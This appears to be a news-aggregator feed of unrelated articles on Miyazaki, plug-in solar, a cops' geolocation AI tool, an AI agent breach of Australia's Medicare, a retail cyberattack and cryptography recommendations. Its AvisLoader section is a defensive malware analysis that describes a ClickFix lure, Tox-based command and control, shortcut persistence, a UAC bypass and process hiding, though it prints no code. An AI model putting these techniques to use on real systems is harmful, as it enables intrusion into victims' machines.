    Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.

  5. Fixed

Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.

An Unmade Film Shaped Hayao Miyazaki

Hacker News
animationobsessive.substack.com
2026-10-12 10:34:25
Comments...
Original Article
A Hayao Miyazaki concept sketch for Rowlf , courtesy of the book Nausicaä Prehistory

Welcome! It’s a new Sunday edition of the Animation Obsessive newsletter. Here’s the agenda for today:

  • 1. Rowlf and Miyazaki’s turnaround.

  • 2. Animation newsbits.

  • 3. The last word.

With that, let’s go!

In 1980, Hayao Miyazaki turned 39 years old. He was just shy of middle age, but he’d made almost none of the work associated with his name today.

He felt kind of washed up. Miyazaki’s debut feature The Castle of Cagliostro (1979) had flopped at the box office, and he viewed it as a rehash of his past projects. “I don’t think I added anything new,” he admitted. He saw his creations as stuck. 1

“With every piece I made it was obvious that I was just trotting out everything I had done before [laughs],” he said. “Nineteen eighty was my year of being mired in gloom.”

He’d built a style and a set of reference points. Miyazaki excelled at children’s cartoons with big emotions, zany action, slapstick, good guys and bad guys. Among his influences were The Shepherdess and the Chimney Sweep and the Soviet Snow Queen from the ‘50s, and Fleischer stuff like Popeye and Mr. Bug Goes to Town .

But he started to believe that his approach was too simplistic. “I wondered if it was no longer possible to make an action movie where defeating the villain was enough to make a happy ending,” he said. The times had changed: heroism and villainy seemed like murkier concepts than they once were. 2

As Miyazaki searched for other possibilities, he got into alt comics in the orbit of Métal Hurlant , a foreign magazine. That included Arzach by Mœbius. “I first saw it around 1980. It had a great impact on me,” he said. 3 Meanwhile, an American comic from the same circle lit up his imagination. It was called Rowlf (1971).

“I chanced upon Rowlf around the time I was wondering what to do for my next work after I had completed Lupin the Third: The Castle of Cagliostro ,” he wrote recently. He was so impressed that he proposed, in 1980, to adapt the story as his second feature film. That decision would change his career. 4

Hayao Miyazaki concept sketches for Rowlf , courtesy of the books Nausicaä Prehistory and Nausicaä of the Valley of the Wind: Watercolor Impressions

In many ways, Rowlf was the opposite of Miyazaki’s past loves. Author Richard Corben came from America’s underground comix scene. In their content, his violent, transgressive stories weren’t far off the exploitation films of their era.

Miyazaki wrote in 1980 that Rowlf “definitely is not for little children.” But he detected potential here:

In Rowlf , a world that appears at first to be grotesque and ironic is actually filled with faith in a healthy life. The story possesses the power of old fairy tales — the ability to encourage people, to reassure us and give us hope. It’s no exaggeration to say that it is rare to see such a work today.

Rowlf unfolds in a mixed-up world. In Corben’s description, “We have fantasy elements like the castles and medieval costumes and sorcerers, and then they clash with these mutants with their sort of ‘Panzer’ tanks.” He thought it up in the ‘60s as a film (he was an amateur animator) before he retooled it as a comic. 5

Corben took from his childhood dog for the Rowlf character — the pet of Maryara, a princess. When she’s kidnapped, Rowlf turns into a kind of werewolf and goes on a rampage to save her. The narrative is basic, and its handling of its damsel in distress is flat and often in poor taste. But Corben had a knack for telling stories in images: Rowlf ’s panels have a fleshy physicality and strong feeling of space. The Academy of Comic Book Arts named him the year’s top new talent. 6

This edgy, 20th-century Beauty and the Beast story appealed to Miyazaki. Among its other qualities, he noted its “[d]ramatic staging, including the desert (upon which Rowlf’s tank casts long shadows).” But he found it “boring” to use Maryara as she was: “I wanted her to be more active in the story’s progression.”

A few panels from Richard Corben’s Rowlf comic

In the concept sketches that Miyazaki and the artist Yoshifumi Kondo did for Rowlf , Maryara appears as a bolder character, sometimes holding weapons — one author mentioned the “nobility and inner strength” in these drawings. Along the way, Miyazaki added flying machines and other oddities from Mœbius. 7

Although he was changing Rowlf , Miyazaki wasn’t turning it into the same type of story he’d done before. As the project evolved, he was evolving, too. Like he said:

While I was filling out Rowlf in this fashion, I moved further and further away from the original story. And as [Maryara] began to have a stronger mind and feelings, I ended up with “a princess in her castle” and “a pathetic father.”

This father was a little touched — while he had once been quite heroic, now he was confined to bed and completely useless. Yet despite this, he remained a very proud man. I believed a girl with that father would make Rowlf into a much more interesting story. Suitors came one after the other, their eyes on the country’s minimal wealth. … I was trying to build in a secondary theme in which she preserved her pride while rebuffing these men. …

The concept of someone struggling to live up to … responsibility had been planted inside my mind for the first time. Before that, all the characters I’d considered were completely free.

Concept sketches for Rowlf by Yoshifumi Kondo, as seen in Works of Yoshifumi Kondo
Miyazaki concept pieces for Rowlf — the last one appears to depict one of Maryara’s suitors. Courtesy of Nausicaä Prehistory .

When he first stumbled across Rowlf , Miyazaki was working with Tokyo’s Telecom ( Cagliostro ). The producer Yutaka Fujioka established the studio with one major goal: to cross over in the West.

According to animator Yasuo Otsuka, Fujioka had dreamed since the early ‘70s of blowing up in America — business meetings with Max Fleischer made him think it was possible. From there, Fujioka did lots of wheeling and dealing in Hollywood. 8 And Rowlf was part of that effort. In late 1980, Miyazaki opened his proposal to the studio like this:

I think that Rowlf would be ideal for a theatrical feature film targeting the American market. … [I]f handled properly it could potentially appeal to all classes of young Americans and far surpass the appeal of Bakshi’s Wizards . The images in Rowlf may seem unfamiliar and grotesque to Japanese audiences, but by massaging them and making them more digestible, I believe the film could also attract young Japanese audiences.

Miyazaki’s reference to Wizards shows what he had in mind here. His Rowlf would retain that alternative energy he got from Mœbius and from Corben’s original comic. And it would go for older viewers than Miyazaki normally did. This project was a very different thing than, say, his Future Boy Conan (1978).

He wrapped up his proposal with these words:

Rowlf is unconditionally devoted to his mistress, Maryara, but audiences will be particularly inspired and impressed by his courage as he becomes more self-aware, starts to learn and eventually matures to the point where he can take on the demons.

For today’s young people — who feel over-managed, overprotected and suffocated by society, or who find their choices increasingly limited and thus are increasingly neurotic — this story would be the ideal present.

Fujioka was sold, and he wasn’t the only one. In 1981, Miyazaki told Osamu Tezuka about his intention to animate Rowlf . The author pledged his support for the project in Animage . “I’m certain that Miyazaki-san will make it into a fantastically amazing film,” he wrote. 9

The hurdle was Corben. For a time, the “agents were going back and forth,” Miyazaki said. At one point, Fujioka went to cut a deal himself.

“Fujioka-san became interested in Richard Corben because of his popularity in America,” wrote Otsuka, “and he went to Cincinnati to meet Corben in person, but Corben turned him down because Miyazaki-san’s sketches were significantly different from his own drawings.” 10

Having survived from 1980 until 1982, the Rowlf film was finally abandoned. “Richard Corben and the other Americans never really shared our enthusiasm,” Miyazaki recalled.

Miyazaki concept sketches for Rowlf , courtesy of Nausicaä of the Valley of the Wind: Watercolor Impressions

Later in the ‘80s, Miyazaki and Mœbius became friends and mutual fans. Corben, though, seemed to have zero curiosity about any of this stuff. In an interview before his death nearly 40 years later, he said, “I’m afraid I don’t know anything about Hayao Miyazaki or his work.” 11

In retrospect, Miyazaki was generous about it all. “In those days I was a newcomer as a film director,” he wrote. He suspected that, to Corben, he was “some complete nobody from Japan coming up … and demanding the rights.”

Still, Miyazaki left Rowlf behind. Even when the chance to pursue an adaptation arose again, some years later, he didn’t go for it.

He didn’t need to go for it. The characters, setting and story he’d developed for the Rowlf film had stayed with him. His reworked Maryara transformed into Yara — the hang-gliding princess of a small science-fantasy kingdom, who was “standing firm under enormous pressure.” When Miyazaki made this idea into a manga series in 1982, he switched Yara’s name, for originality’s sake, to Nausicaä.

Miyazaki’s Nausicaä of the Valley of the Wind manga was the work of a changed artist. He’d internalized those alt comics: the fleshier and heavier and more grotesque drawings, the style of hatching, the darker and more adult stories. “I created Nausicaä with Mœbius’s influence,” he said later. But Corben was absolutely in there, too.

Panels from Nausicaä of the Valley of the Wind

In fact, Miyazaki’s theme from Rowlf finally got used in Nausicaä . He wrote that the series was meant to “offer a sense of liberation to present-day young people who, in this suffocating, overprotective and managed society, find their path to self-reliant independence blocked and have become neurotic.” 12

Soon, his 1984 film adaptation of his own Nausicaä manga turned him into an icon among Japan’s animation fans. The cartoony action that’d been Miyazaki’s calling card vanished here, as did the type of “very simple story” he’d used for Sherlock Hound and Cagliostro , with their bad guys and straightforward happy endings. 13 In every part of Nausicaä , there was a fresh weightiness.

Miyazaki owed the new version of himself to ideas from outside — to those alt comics, and to the films of Yuri Norstein and Frédéric Back , which he discovered around the same time. His willingness to learn from them gave his work a new layer that it never lost. Now, in his 40s, he’d reached the second start of his career.

  • In India , Studio Eeksaurus released The Godawan ( watch ) — one of the most impressive achievements in stop motion we’ve seen from the 2020s, and more evidence that Eeksaurus stands with the best animation teams working today.

  • In America , the indie animated features Shine (Baobab Studios) and The Long Walk (Namethemachine) received millions in tax credits from California.

  • Also in America , Cartoon Network was reportedly hit by a “ gigaleak .” Decades’ worth of production materials are floating around on social media.

  • In our first newsbit from Vatican City , Pope Leo XIV has been issuing criticism of GenAI art. “There is an ontological difference, even before an aesthetic one,” he argued, “between art and what a machine can generate through statistical calculation based on millions of images created by others.”

  • After its Annecy awards this summer, the Ethiopian series Sunday Morning is looking for further support at Durban FilmMart.

  • The Lucas Museum of Narrative Art is screening a number of classic films by Norman McLaren, Evelyn Lambart and others from Canada ’s NFB.

  • In Serbia , the digital artist Neon Noodle spent over a year colorizing the Fleischer cartoon Bimbo’s Initiation (1931). They tell us, “No AI was used; every frame was colored manually in Photoshop.” It’s an interesting project — find it on YouTube .

  • Britain ’s Nick Park has a new book, Grand: The Autobiography of Gromit , coming out later this month.

  • The Canadian film Nenaboozhoo , based on a traditional story and narrated in the Ojibwe language (with English subtitles), is now on YouTube .

  • A composer in France , Yanni Ziangos, created music for a cartoon-inspired game called Dodo Duckie . “When I compose for animated scenes, I try not to chase every movement,” he told us, “If a gesture or visual gag needs a precise musical accent, I’ll give it one, sometimes two; elsewhere, I let the orchestral phrase continue so the scene can breathe.”

  • Meanwhile, in Czechia , the talented animators (and painters and more) of Amanita Design are making Machinarium 2 .

  • Finally, we wrote about Robert Cannon, What’s Opera, Doc? and video assist .

That’s today’s issue! Thanks for reading. We’re closing out with personal comments from the two of us:

Jules: One of my favorite things to study and think about is the never-ending dialogue that occurs between artists, across the world and across time. While creating Star Wars , it seems plain that George Lucas borrowed ideas and visuals from the Franco-Belgian comic Valérian and Laureline . The huge success of Star Wars is often credited with starting a sci-fi fad (around the globe and in Japan), which boosted the popularity of the Space Battleship Yamato movie, released just a few months later in ‘77. The success of Yamato , in turn, helped to spark an anime goldrush that saw many more movies funded — one of which was Miyazaki’s own Franco-Belgian-comic-inspired Nausicaä . And that’s not getting into the influence Nausicaä itself had! All this just from following a single, small thread of exchange.

John: I’m a believer in state support for the arts. It’s not perfect and (in certain times and places) it’s been a bureaucratic nightmare — but I can’t tell you how many artists it’s helped in animation. Even in the 2020s, it’s allowed great films like Flow , Robot Dreams and the new Knowing Gaze to exist. So, I’m very excited that a couple of indie animated features just received tax credits from California. The animation world often has to fend for itself in America, no matter how many times government investment in stuff like Sesame Street pays off. I hope that’s finally changing. Fingers crossed.

Until next time!

Discussion about this post

Ready for more?

Solar Panels That Plug into Your Wall Are About to Be Everywhere

Hacker News
www.nationalgeographic.com
2026-10-12 10:19:04
Comments...
Original Article

On a quiet street in suburban South Salt Lake City, Utah, the stirring of an energy revolution is taking shape. There, outside the spare bedroom of an unassuming, thousand-square-foot midcentury home sit three angled solar panels plugged into a nearby outlet.

Unlike the highly technical and expensive hurdles required to install a large rooftop solar system, the setup on Andrew Leon and Victoria Mauro’s lawn is small, portable, and cheap. The unit generates enough electricity to run laptops, lights, and some appliances, including the refrigerator.

Plug-in solar, also known as balcony solar because apartment dwellers can use it, is spreading quickly across the U.S. California is the latest state to pass a law reducing the red tape that has previously stymied consumers looking to generate some electricity from a small number of solar panels.

Utah was the first state to legalize balcony solar in the spring of 2025, and nine states subsequently passed similar legislation— Colorado, Connecticut, Maine, Maryland, New Hampshire, New Jersey, Vermont, Virginia, and now, California. New York lawmakers approved a bill that is awaiting the governor’s signature, while nearly two dozen other state legislators have introduced them.

Plug-in solar systems, typically comprised of one to three panels to stay below the maximum wattages allowed by the laws, enable users to save money on their power bills and to reduce the energy they use from power plants that generate electricity by burning fossil fuels. “The appeal of being able to make your own electricity, and for less money than you can buy it from a utility, that’s universal for Americans,” says Joshua Pearce , an electrical engineer at Western University in Ontario, Canada, who advanced the merits of plug-in solar a decade ago.

( The link between extreme weather and climate change has never been clearer )

For most homes, electricity is generated in faraway power plants and transmitted through power lines. Homes where rooftop solar creates electricity wire the energy into the home through the circuit breaker panel, and excess electricity flows back to the utility. But power from plug-in systems stays in the home. With a small metal box called an inverter attached to the panels and plugged into the outlet, electrical currents are pushed to other outlets throughout the residence. Systems typically contribute 10 to 30 percent of an average home’s use, says Jennifer Eden , who works on renewable energy programs for the policy nonprofit Utah Clean Energy.

The set-ups have become especially popular in Europe. Swedish furniture chain IKEA sells plug-in solar kits in Germany, a country where more than a million units have been installed in the past few years.

As more U.S. states approve the technology and as more products become available, “this is going to take off like hotcakes,” Pearce predicts. With widespread adoption, residents could save an estimated $13 billion a year in electricity costs, he calculated in a 2017 journal article, a figure he says is higher now that electric rates have soared. People are especially pleased “there’s now an entry point into solar that doesn’t cost tens of thousands of dollars and can be used by people who don’t own their home,” Eden says.

In states with especially high utility rates, residents reap substantial savings. Nick Danz, who lives alone in a modern, two-bedroom luxury apartment in Fort Collins, Colorado, became eager for plug-in solar after reading about its popularity in Germany. Colorado has more than 200 sunny days a year and Danz’s apartment faces southwest, an optimal direction for sun collection. (Directly south is the most ideal.)

When, this summer, his state passed a law for plug-in systems, he reached out to the California-based clean-energy nonprofit Bright Saver. To encourage people to adopt renewable energy, Bright Saver sells plug-in systems without markups. Danz paid under $300 for a one-panel unit and affixed it with metal clips over his small, third-floor balcony.

The system tripped his apartment’s circuit breaker and shut off his computer several times, but a different inverter solved the problem. Danz estimates he has already saved more than $300 on his power bills since August. For the four days a week Danz is away from home working as a train conductor, “the solar panel is essentially running all of my standby items,” he says. He plans to soon move to an apartment with a larger balcony, where he hopes to hang three panels, the most his state’s law allows.

( Going off the grid to deal with climate disasters .)

Some utilities have expressed concern that plug-in units could send power back to the grid and electrocute employees working on the lines. But Pearce found that no microinverters sold in the U.S. are capable of this. Earlier this year the testing company UL Solutions set safety standards for plug-in solar systems and has already certified one manufacturer.

Pearce has also heard concerns that the energy being pumped into wall sockets could cause wiring in old homes to catch fire, but he says “that’s never happened in Europe,” despite its widespread adoption. In June the British government tested several products available in that country and found no direct electrical hazard , although some exhibited minor problems like not tripping the circuit breaker fast enough when stressed.

One impediment to interested buyers are local rules that may restrict balcony solar even in states where it is legal. Leon and Mauro discovered this the hard way when they placed their panels in front of their home, concerned the numerous trees behind their house would shade them. But a zoning employee soon knocked on their door and said city rules prohibited panels there. The couple’s plug-in panels remain in place while they work with the zoning board in hopes of loosening those restrictions.

Leon and Mauro still draw power from the grid for their air conditioner and major appliances, but they have shaved nearly $100 total from Utah’s typically low electric bills since May. Mauro especially loves the benefit to the environment, because solar energy does not emit the greenhouse gasses that lead to climate change. Experts estimate that even the energy used to produce the solar panels is offset in less than two years of use.

“When we first heard about it, we thought it seemed way too good to be true, to just plug a solar panel into the wall and generate electricity,” Mauro says. “But it turned out that really was all we had to do to produce clean energy and save money.”

Meryl Davids Landau is an award-winning health and environmental journalist and novelist based in South Florida.

Inside AvisLoader: A Windows Malware Loader Built to Resist Disruption

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 10:00:10
A new Windows malware loader called AvisLoader uses encrypted peer-to-peer communications to make command-and-control infrastructure harder to disrupt. Varonis researchers explain how the malware uses ClickFix delivery, shortcut-based persistence, and remote command execution capabilities. [...]...
Original Article

AvidLoader

Varonis Threat Labs recently discovered AvisLoader, a new Windows loader named after the Latin word for bird. We found it on an exposed staging server alongside a ClickFix lure, supporting tools, and its Command Center.

The attack starts with a familiar ClickFix lure. A page posing as a document-signing request asks visitors to copy and run an attacker-supplied command on their machine.

The more interesting part is how AvisLoader stays connected. It communicates via Tox, an encrypted peer-to-peer (P2P) messaging network that carries commands and additional payloads from the operator.

That setup makes traditional domain-based takedowns harder. The command-and-control (C2) channel does not depend on a fixed domain or server address, and operators can keep the same identity when moving to another server.

The seller references this in a cybercrime forum listing, claiming the controller can be moved by copying its Tox save file, with clients following without the need for a domain.

In this post, we look at how AvisLoader works, the MITRE ATT&CK techniques it uses, and the indicators security teams can use to detect it.

AvisLoader advertised for sale on a cybercrime forum.
AvisLoader advertised for sale on a cybercrime forum.

Delivery through ClickFix and Cloudflare

The specific ClickFix lure we found alongside AvisLoader was hosted on Cloudflare Workers and made to look like a DocuSign signing request.

A fake “Manual verification” dialog claims “Verification is handled by Cloudflare” and asks visitors to paste a “verification code” into a terminal. It presents running the command as a step needed to access the document.

What lands on the clipboard is a command that retrieves and runs code from a Cloudflare Quick Tunnel address on trycloudflare.com. A download still takes place, but through the pasted command, outside the browser’s normal download flow.

The DocuSign-themed lure with a fake verification prompt.
The DocuSign-themed lure with a fake verification prompt.

Although the lure shows a macOS command, the exposed directory contained a Windows loader. We did not find a corresponding macOS payload among the recovered files.

Inside the loader

The Windows payload is a single 3.4 MB 64-bit executable. Its manifest specifies asInvoker, meaning it inherits the privileges of the process that launches it without requesting User Account Control (UAC) elevation at startup.

Its section table contains seventeen additional sections of identical size, with names associated with well-known packers, including Themida, VMProtect, Enigma, and UPX. None is marked executable.

These names appear intended to confuse packer identification, although the names alone do not establish that any of those packers was used.

Packer-associated section names in 78324.exe.
Packer-associated section names in 78324.exe.

Underneath, it’s a Tox client. The executable statically links c-toxcore, the reference implementation of the Tox protocol, and retains the developer’s build path, C:\Users\dev\Desktop\c-toxcore.

Using Tox lets the loader communicate with its controller as another peer on the network. This removes reliance on a single centralized command-and-control address, but the network connections remain observable alongside the loader’s activity on the host.

Escalation, persistence, and stealth

AvisLoader’s persistence code targets shortcuts on the desktop and in the taskbar-pinned folder. The executable contains shortcut-backup strings and a VBScript launcher associated with the name VLCAssistant. These artifacts indicate a mechanism designed to launch the malware when a user opens a modified shortcut, then start the intended application so it appears to open normally.

The recovered files also include auto.exe, a small helper that references method 41 from UACME, a public User Account Control (UAC) bypass project. Its strings identify the ICMLuaUtil interface and the Component Object Model (COM) elevation mechanism associated with that technique.

The helper also warns that updated Windows versions may mitigate the bypass, so its presence does not establish successful elevation.

A separate dynamic-link library (DLL), hmn_hook.dll, provides process-hiding functionality. It hooks NtQuerySystemInformation, a Windows function used to retrieve process information, and filters a specified process name from the results. This could hide that process from software using the hooked function, but the recovered files do not establish that the DLL was loaded into Task Manager or used to hide AvisLoader itself.

Extracted strings from auto.exe and hmn_hook.dll.
Extracted strings from auto.exe and hmn_hook.dll.

The AvisLoader command center

The recovered tools give us a view of AvisLoader’s endpoint capabilities. Its web panel, branded the AvisLoader Command Center, shows how operators are meant to manage clients, configure tasks, and distribute files.

The dashboard includes counts of total, online, and offline clients, along with a world map.

The AvisLoader dashboard, showing client counts and a world map.
The AvisLoader dashboard, showing client counts and a world map.

A Clients table includes fields for hostname, country, central processing unit (CPU), graphics processing unit (GPU), antivirus, administrator status, and a public key. These fields bring host information into one view. The public-key field is consistent with Tox’s peer identity model.

The Clients table, showing host information and public-key fields.
The Clients table, showing host information and public-key fields.

The Tasks tab lets operators configure shell commands and select clients by hardware, location, and administrator status. Its controls indicate support for tasks that run when matching clients come online, allowing operators to prepare commands ahead of a client connecting.

Task controls for selecting clients by hardware and location.
Task controls for selecting clients by hardware and location.

The Files tab provides an interface for staging files and describes delivery “to clients over Tox.” This gives operators a way to prepare additional payloads for distribution.

The Files tab, offering payload delivery over Tox.
The Files tab, offering payload delivery over Tox.

Defenses and takeaways

AvisLoader gives security teams several opportunities for detection, from the initial ClickFix command to shortcut changes and unexpected Tox traffic. The delivery setup and recovered files point to four areas for monitoring:

  1. Treat document-signing or verification pages that ask users to paste commands into a terminal or the Windows Run dialog as suspicious. Users should report these requests before running the command.
  2. Investigate unfamiliar workers.dev and trycloudflare.com addresses when they appear in document-signing lures or commands that download and execute code. Both domains support legitimate services, so consider the page content and surrounding activity when assessing them.
  3. Monitor command shells and script interpreters that retrieve and execute remote code, especially when the activity follows a visit to a suspicious page. Check for unexpected Tox or other peer-to-peer traffic on the same device. A command pasted by a user may run without the browser appearing as its parent process.
  4. Hunt for modified desktop and taskbar shortcuts, associated .backup files, and references to VLCAssistant. Investigate matches for the recovered auto.exe and hmn_hook.dll samples, then examine the surrounding activity for elevation attempts or process-list hooks.

What we learned from AvisLoader

AvisLoader brings familiar malware techniques together around Tox. The recovered Windows sample includes shortcut-persistence artifacts, while its Command Center offers shell tasks and file delivery over an encrypted peer-to-peer connection.

For security teams, this means a legitimate messaging protocol can also carry operator commands and additional malware. Understanding that traffic means looking at the application behind it and what it does on the device, alongside the network connections it makes.

Join Varonis on State of Cybercrime for bite-sized insights on all things data security, threat detection, AI security, and more.

Sponsored and written by Varonis .

Cops can creep on Airbnb

403 Media
www.404media.co
2026-10-12 09:54:30
That washer/dryer combo could be used by cops to identify a property....
Original Article

Good Monday morning! Today's big story is an investigation from Joseph about cops and an AI tool that takes data from sites like Airbnb and Zillow and identifies specific properties. The internet is full of photos of the interiors of people's homes, from real estate and rental listings to short-term stays, and that data is in the hands of law enforcement.

And in other news, a very interesting interview with the whistleblower subject of Sorkin's new movie, some big legislative impact, and what caught my eye over the weekend around the web. Let's get into it.

A screenshot from a Raven promotional video on LinkedIn.

AI Company Lets Cops Pinpoint Specific Houses Based on a Single Interior Photo

An AI company now lets cops take a photo and nearly instantly figure out what specific home it was taken in, using only clues in the photo itself, and is clearly pulling data from sites like Zillow and Airbnb.

The tool, called Raven, shows the increasing power of AI capabilities available to local law enforcement agencies. 404 Media previously reported that both the Los Angeles Police Department and Miami-Dade Sheriff’s Office (MDSO) have bought access to Raven, which was previously called GeoSpy . Now, Raven, made by a company called Graylark Technologies, has added features that let cops analyze the interior of homes.

In a post on LinkedIn earlier this month , Graylark CEO Daniel Heinen wrote the company was introducing “the ability to geolocate interior images across millions of short-term rental units worldwide.” An accompanying demo video shows someone taking a photo from X of a washer/dryer unit inside a building. They upload it to Raven, select “Find Property: Interior and exterior property geolocation,” and then choose a region to search.

After a couple of seconds, the map interface zooms in on an area in Charlotte, North Carolina. On the right hand side, the screen displays a list of results. The top one reads, “Renovated! Walk Uptown/located in 2 Hot Spots!” That result directly quotes the language on a specific Airbnb listing in Charlotte, and the photos in the Airbnb listing show the same property.

Read the rest of this story here.

Spoilers ahead for “The Social Reckoning. ” Did you catch this week’s interview episode? Jason talked to former Facebook employee Frances Haugen, who became one of the most important tech whistleblowers in 2021 when she exposed how Facebook’s algorithm was pushing people toward hate groups, showed Instagram was making teen girls feel worse about themselves, and showed that the company knew about its detrimental impacts on society. Haugen’s story is the basis for Aaron Sorkin’s new movie “The Social Reckoning,” which follows her evolution from model employee to leaker to formal whistleblower. Jason and Frances discuss what the movie got right about journalist-source relationships and how AI is supercharging privacy concerns.

Listen to the weekly podcast on Apple Podcasts , Spotify , or watch the convo on YouTube .

This post is for paid members only

Become a paid member for unlimited ad-free access to articles, bonus podcast content, and more.

Subscribe

Sign up for free access to this post

Free members get access to posts like this one along with an email round-up of our week's stories.

Subscribe

Already have an account? Sign in

Cyber-attack like OpenAI Medicare breach ‘seems likely’ in UK, says minister

Guardian
www.theguardian.com
2026-10-12 09:52:55
Kanishka Narayan, concerned by Australian incident, says British cyber defences could be bypassed by AI agentUK politics live – latest updatesAn AI-driven cyber-attack like the OpenAI breach of Australia’s healthcare system is likely, “if not inevitable”, in the UK, according to a senior minister. K...
Original Article

An AI-driven cyber-attack like the OpenAI breach of Australia’s healthcare system is likely, “if not inevitable”, in the UK, according to a senior minister.

Kanishka Narayan, the UK AI minister, indicated that the British government’s own cyber defences would be bypassed by a technology that has developed highly sophisticated skills in cybersecurity.

In a speech on Monday, Narayan said an incident in June when an OpenAI agent – a computer program acting autonomously – infiltrated Medicare, Australia’s universal healthcare system, could be repeated in the UK.

“It concerns me,” he said. “It seems likely, if not inevitable, that our own cyber defences will be breached.”

Narayan said the agent’s task was “benign” as it searched for information about public spending on medicines, but it nonetheless went after data that was not authorised to have.

“The Australian government has said that no personal medical records are known to have been accessed, and there is no evidence of wider compromise, but the incident should concern us,” he said.

Speaking at a science and tech hub at Imperial College London, Narayan said the security minister, Dan Jarvis, would lead a government programme to strengthen against cyber-attacks, including from AI.

Narayan spoke before a parliamentary hearing on AI safety on Tuesday into the issue . Senior figures from OpenAI and Anthropic will be among those giving evidence to MPs on the business, innovation, science and trade committee. They will also be joined by the head of the UK’s AI Security Institute, Henry de Zoete.

Narayan confirmed that the institute would gain access to advanced AI models before they were released, after the White House had reportedly placed restrictions on their availability.

“I can confirm that AI scientists at the AI Security Institute are now conducting rigorous evaluations of the latest generations of models, including [Google’s] Gemini … to identify risks early to test robust safeguards to help keep people safe,” he said.

The minister added that leading AI companies must “listen” to warnings of safety risks posed by their technology – and not release models if they carried a serious threat.

skip past newsletter promotion

“And to the companies developing the world’s most powerful AI systems, my message is: Listen when your scientists warn of severe dangers. Investigate unexpected behaviours. And if you can’t adequately control the risks, do not release the system,” he said. “I want the labs to be honest.”

Narayan said the UK would “play its part” in coordinating an international response to AI safety by making the technology a “central focus” of Britain’s G20 presidency next year.

“We know that these challenges cannot be addressed by a single country alone, but by virtue of our capability, by virtue of the foundations of our trust, Britain will play its part,” he said.

Retail giant Ahold Delhaize takes systems offline after cyberattack

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 09:51:07
Retail giant Ahold Delhaize, one of the world's largest food retail chains, confirmed today that it had to take some systems offline in response to a "cybersecurity incident" affecting its network. [...]...
Original Article

Ahold Delhaize

Retail giant Ahold Delhaize, one of the world's largest food retail chains, confirmed today that it was forced to take some systems offline after a "cybersecurity incident."

As a wholesale company and multinational retailer, Ahold Delhaize operates more than 9,400 local stores across Europe, the United States, and Indonesia, employs nearly 400,000 people, and serves around 60 million customers each week through physical retail locations and online.

Ahold Delhaize reported yearly net sales of over $104 billion in 2024, and it owns a wide range of brands, including Delhaize, Maxi, Mega Image, Albert, bol, Alfa Beta, Etos, Gall & Gall, and Profi in Europe, and Food Lion, Stop & Shop, Giant Food, and Hannaford in the American market.

In a succinct press release published earlier today, the company added that it's working to mitigate the incident and that its stores are open to customers.

"Ahold Delhaize is experiencing a security issue within its network. Our teams are taking steps to assess and mitigate the issue. This includes taking some systems offline to help protect them. At this time, our stores are open and serving customers," it said .

"Protecting our infrastructure in the best interest of our customers, associates and partners is a top priority. We apologize for any inconvenience this issue may have caused customers and partners."

However, employees at the Stop & Shop American regional supermarket chain are having trouble accessing their schedules and pay stubs , while customers have been unable to use websites, apps, and customer service platforms at Albert Heijn, Etos, and Gall & Gall stores in the Netherlands, and Delhaize in Belgium.

According to an internal memo shared by Food Lion employees in the United States, the company flagged the incident as an IT outage and told them their "store may be unable to shop, stage, or hand off orders."

An Ahold Delhaize spokesperson was not immediately available for comment when BleepingComputer reached out to ask whether the incident affected both corporate and store systems, if disruptions affected stores worldwide, and if any devices were encrypted during the attack.

This is the second major cybersecurity incident to affect Ahold Delhaize in recent years, after the personal, financial, and health information of over 2.2 million individuals was stolen in a November 2024 ransomware attack that impacted the company's U.S. systems, claimed by the ransomware group INC Ransom .

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

(Post-Quantum) Cryptographic Right Answers

Lobsters
words.filippo.io
2026-10-12 09:44:38
Comments...
Original Article

Publishing “Cryptographic Right Answers” for developers is a tradition by now. Colin Percival started in 2009 , Thomas Ptacek followed up in 2015 , and then Latacora carried on in 2018 and 2024 .

It might feel too soon for an update, but so much has changed . The timeline of the post-quantum transition dramatically shifted in early 2026 , and there is now consensus that it needs to complete by 2029. 2029! We have three years!

The good news is that, despite what you might have heard, symmetric cryptography is going to be fine, because Grover does not matter . The bad news is that all asymmetric answers changed compared to 2018 and most even compared to 2024.

The answers below assume you are not constrained by any specific compliance regime, although they are mostly compatible with FIPS 140. 1 If you need to follow something stricter like CNSA 2.0, you’ll know. Just substitute as appropriate.

Finally, remember the other big change of 2026: LLMs are very good at finding bugs now. “Get a review from the best model you can afford” is now firmly a Cryptographic Right Answer, along with the long-time classic “use a memory-safe language.”

If you’re in a rush, here’s the cheat sheet:

  • Encrypting data : If you’re in the cloud, KMS. Otherwise, XAES-256-GCM or XChaCha20Poly1305 with random nonces. If you’re encrypting more than a few MB, use Cobblestone-128.
  • Symmetric key length : Don’t stress it. 256-bit keys if you need to pick.
  • Symmetric “signatures” : HMAC-SHA-256.
  • Hash algorithm : SHA-2 is still fine, but use a real multihash (SequenceHash) if needed.
  • Random IDs : 32 random bytes, a.k.a. 256-bit random numbers.
  • Password handling : Argon2id or scrypt. But have you considered passkeys instead?
  • Key exchange : X25519+ML-KEM-768 in a secure, standard protocol.
  • Asymmetric encryption : HPKE with (MLKEM768-X25519 a.k.a. X-Wing, HKDF-SHA256, AES-128-GCM), or age with PQ keys.
  • Asymmetric signatures : ML-DSA-44.
  • Website or client-server application security : If you’re in the cloud, use its ALB/NLB. Otherwise, rustls, Go’s crypto/tls, BoringSSL, AWS-LC, or s2n-tls with a popular, updated ACME client.
  • Online backups : restic with a long random password.

Now let’s dive in.

Encrypting data

If you’re in the cloud, KMS . Otherwise, XAES-256-GCM or XChaCha20Poly1305 with random nonces. If you’re encrypting more than a few MB, use Cobblestone-128 .

Percival, 2009 : AES-CTR with HMAC.
Ptacek, 2015 : NaCl/libsodium default, or ChaCha20Poly1305, or AES-GCM.
Latacora, 2018 : KMS, or XSalsa20+Poly1305.
Latacora, 2024 : KMS, or NaCl’s secretbox, or XChaCha20Poly1305.

Latacora’s reasoning for why and when you’d use your cloud’s KMS is still solid, so start there.

If you’re encrypting locally, you want an AEAD where you can avoid worrying about tracking nonces or how many messages you encrypted, so you want random nonces of at least 128 bits. 2

